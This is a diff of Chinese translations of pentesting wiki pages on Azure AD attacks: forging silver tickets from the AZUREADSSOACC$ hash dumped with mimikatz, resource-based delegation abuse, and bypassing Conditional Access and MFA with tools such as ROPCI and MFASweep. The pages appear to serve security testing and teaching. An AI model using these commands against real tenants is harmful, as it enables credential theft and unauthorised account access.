- **被攻陷用户的 TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
|
||||
- **被攻陷用户的 TGT:** 即使您没有,但如果用户被攻陷,您可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
|
||||
- **被攻陷用户的哈希或密码:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT,然后是 TGS。
|
||||
- **金票:** 如果您拥有 KRBTGT 密钥,您可以为被攻击用户创建所需的 TGT。
|
||||
- **AZUREADSSOACC$ 账户哈希或密码:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并在云中进行身份验证(如前面的方法所示)。
|
||||
- **AZUREADSSOACC$ 账户哈希或密码:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并与云进行身份验证(如前面的方法所示)。
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
@@ -69,7 +69,7 @@ wmic useraccount get name,sid # Get the user SIDs
|
||||
|
||||
### 获取 AZUREADSSOACC$ 账户的哈希值
|
||||
|
||||
用户 **`AZUREADSSOACC$` 的密码从不改变**。因此,域管理员可以获取该 **账户的哈希值**,然后使用它 **创建银票** 以连接到 Azure,使用 **任何已同步的本地用户**:
|
||||
用户 **`AZUREADSSOACC$` 的 **密码** 从不改变**。因此,域管理员可以破解该 **账户的哈希值**,然后使用它 **创建银票** 以连接到 Azure,使用 **任何已同步的本地用户**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -93,7 +93,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
|
||||
#### 创建银票
|
||||
|
||||
使用哈希,您现在可以 **生成银票**:
|
||||
有了哈希,您现在可以 **生成银票**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -110,7 +110,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
```
|
||||
### 使用 Silver Tickets 与 Firefox
|
||||
|
||||
要使用银票,应执行以下步骤:
|
||||
要利用银票,应执行以下步骤:
|
||||
|
||||
1. **启动浏览器:** 应启动 Mozilla Firefox。
|
||||
2. **配置浏览器:**
|
||||
@@ -125,15 +125,17 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
- 要继续,请按 TAB 或 ENTER。
|
||||
|
||||
> [!WARNING]
|
||||
> 如果用户启用了 MFA,这 **不会绕过 MFA**。
|
||||
> 这 **不会绕过 MFA(如果启用)** 在用户中。
|
||||
|
||||
|
||||
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
要执行攻击,需要:
|
||||
执行攻击需要:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` 权限在 `AZUREADSSOACC$` 上
|
||||
- `WriteDACL` / `GenericWrite` 在 `AZUREADSSOACC$` 上
|
||||
- 一个您控制的计算机帐户(哈希和密码) - 您可以创建一个
|
||||
|
||||
|
||||
1. 第 1 步 – 添加您自己的计算机帐户
|
||||
- 创建 `ATTACKBOX$` 并打印其 SID/NTLM 哈希。任何域用户都可以在 MachineAccountQuota > 0 时执行此操作。
|
||||
```bash
|
||||
@@ -151,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. 第3步 - 为任何用户(例如:alice)伪造TGS
|
||||
3. 第3步 – 为任何用户(例如:alice)伪造TGS
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
+19
-19
@@ -4,13 +4,13 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Conditional Access 策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当的情况下应用正确的访问控制,帮助组织保护其资源。\
|
||||
Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当的情况下应用正确的访问控制,帮助组织保护其资源。\
|
||||
条件访问策略基本上 **定义** **谁** 可以从 **哪里** 和 **如何** 访问 **什么**。
|
||||
|
||||
以下是几个示例:
|
||||
|
||||
1. **登录风险策略**:此策略可以设置为在检测到登录风险时要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。
|
||||
2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在具有最新的防病毒软件或运行特定操作系统版本的设备上,才能允许访问。
|
||||
1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。
|
||||
2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在具有最新防病毒软件或运行特定操作系统版本的设备上,才允许访问。
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
@@ -22,20 +22,20 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
```
|
||||
## 条件访问策略绕过
|
||||
|
||||
有可能条件访问策略正在**检查一些可以轻易篡改的信息,从而允许绕过该策略**。例如,如果该策略配置了 MFA,攻击者将能够绕过它。
|
||||
条件访问策略有可能**检查一些可以轻易篡改的信息,从而允许绕过该策略**。例如,如果该策略配置了 MFA,攻击者将能够绕过它。
|
||||
|
||||
在配置条件访问策略时,需要指明**受影响的用户**和**目标资源**(如所有云应用)。
|
||||
|
||||
还需要配置**触发**该策略的**条件**:
|
||||
|
||||
- **网络**:IP、IP 范围和地理位置
|
||||
- 可以通过使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
|
||||
- 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
|
||||
- **Microsoft 风险**:用户风险、登录风险、内部人风险
|
||||
- **设备平台**:任何设备或选择 Android、iOS、Windows Phone、Windows、macOS、Linux
|
||||
- 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台无关的随机用户代理绕过
|
||||
- **客户端应用**:选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端”
|
||||
- 通过未选择的选项绕过登录
|
||||
- **设备过滤**:可以生成与所用设备相关的规则
|
||||
- **设备过滤**:可以生成与使用的设备相关的规则
|
||||
- **身份验证流程**:选项为“设备代码流程”和“身份验证转移”
|
||||
- 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户
|
||||
|
||||
@@ -43,7 +43,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
|
||||
### 设备平台 - 设备条件
|
||||
|
||||
可以基于**设备平台**(Android、iOS、Windows、macOS...)设置条件,但这基于**用户代理**,因此很容易绕过。即使**强制所有选项启用 MFA**,如果使用**未被识别的用户代理**,也将能够绕过 MFA 或阻止:
|
||||
可以基于**设备平台**(Android、iOS、Windows、macOS...)设置条件,但这基于**用户代理**,因此很容易绕过。即使**强制所有选项执行 MFA**,如果使用**未被识别的用户代理,**也将能够绕过 MFA 或阻止:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -60,14 +60,14 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
|
||||
### 云应用
|
||||
|
||||
可以配置**条件访问策略以阻止或强制**例如在用户尝试访问**特定应用**时启用 MFA:
|
||||
可以配置**条件访问策略以阻止或强制**例如在用户尝试访问**特定应用**时进行 MFA:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
要尝试绕过此保护,您应该查看是否可以**仅进入任何应用程序**。\
|
||||
工具[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)具有**数十个硬编码的应用程序 ID**,并将尝试登录到它们,并在成功时通知您,甚至提供令牌。
|
||||
要尝试绕过此保护,您应该查看是否可以**仅登录任何应用程序**。\
|
||||
工具[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)具有**数十个硬编码的应用程序 ID**,并将尝试登录这些应用程序,并在成功时通知您,甚至提供令牌。
|
||||
|
||||
为了**测试特定资源中的特定应用程序 ID**,您还可以使用工具,例如:
|
||||
为了**测试特定资源中的特定应用程序 ID**,您还可以使用以下工具:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -77,7 +77,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可以用于类似的目的,尽管它看起来没有维护。
|
||||
|
||||
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **whitebox** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。
|
||||
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **白盒** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。
|
||||
|
||||
## 其他 Az MFA 绕过
|
||||
|
||||
@@ -102,10 +102,10 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
在以下页面中查找有关此类攻击的更多信息:
|
||||
找到有关此类攻击的更多信息,请访问以下页面:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## 工具
|
||||
@@ -114,7 +114,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
此脚本获取一些用户凭据并检查是否可以登录某些应用程序。
|
||||
|
||||
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会利用它们来**提升权限**。
|
||||
这对于查看您**在某些应用程序中是否不需要 MFA 登录**非常有用,您可能会利用这些应用程序来**提升权限**。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -131,10 +131,10 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
该工具帮助识别MFA绕过,并在多个生产AAD租户中滥用API,AAD客户认为他们已强制实施MFA,但基于ROPC的身份验证成功。
|
||||
这个工具帮助识别MFA绕过,并在多个生产AAD租户中滥用API,AAD客户认为他们已强制实施MFA,但基于ROPC的身份验证成功。
|
||||
|
||||
> [!TIP]
|
||||
> 您需要具有列出所有应用程序的权限,以便能够生成要进行暴力破解的应用程序列表。
|
||||
> 您需要有权限列出所有应用程序,以便能够生成要进行暴力破解的应用程序列表。
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,7 +143,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token 是一组功能,旨在帮助需要验证条件访问策略、安全顾问,测试启用 2FA 的 Microsoft 门户等。
|
||||
Donkey token 是一组旨在帮助安全顾问验证条件访问策略、测试启用 2FA 的 Microsoft 门户等功能的工具。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
@@ -161,7 +161,7 @@ Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 而无法通过网络访问 Sharepoint,仍然可以使用该令牌访问带有生成令牌的文件:
|
||||
假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 而无法通过网络访问 Sharepoint,仍然可以使用该令牌访问生成的令牌中的文件:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user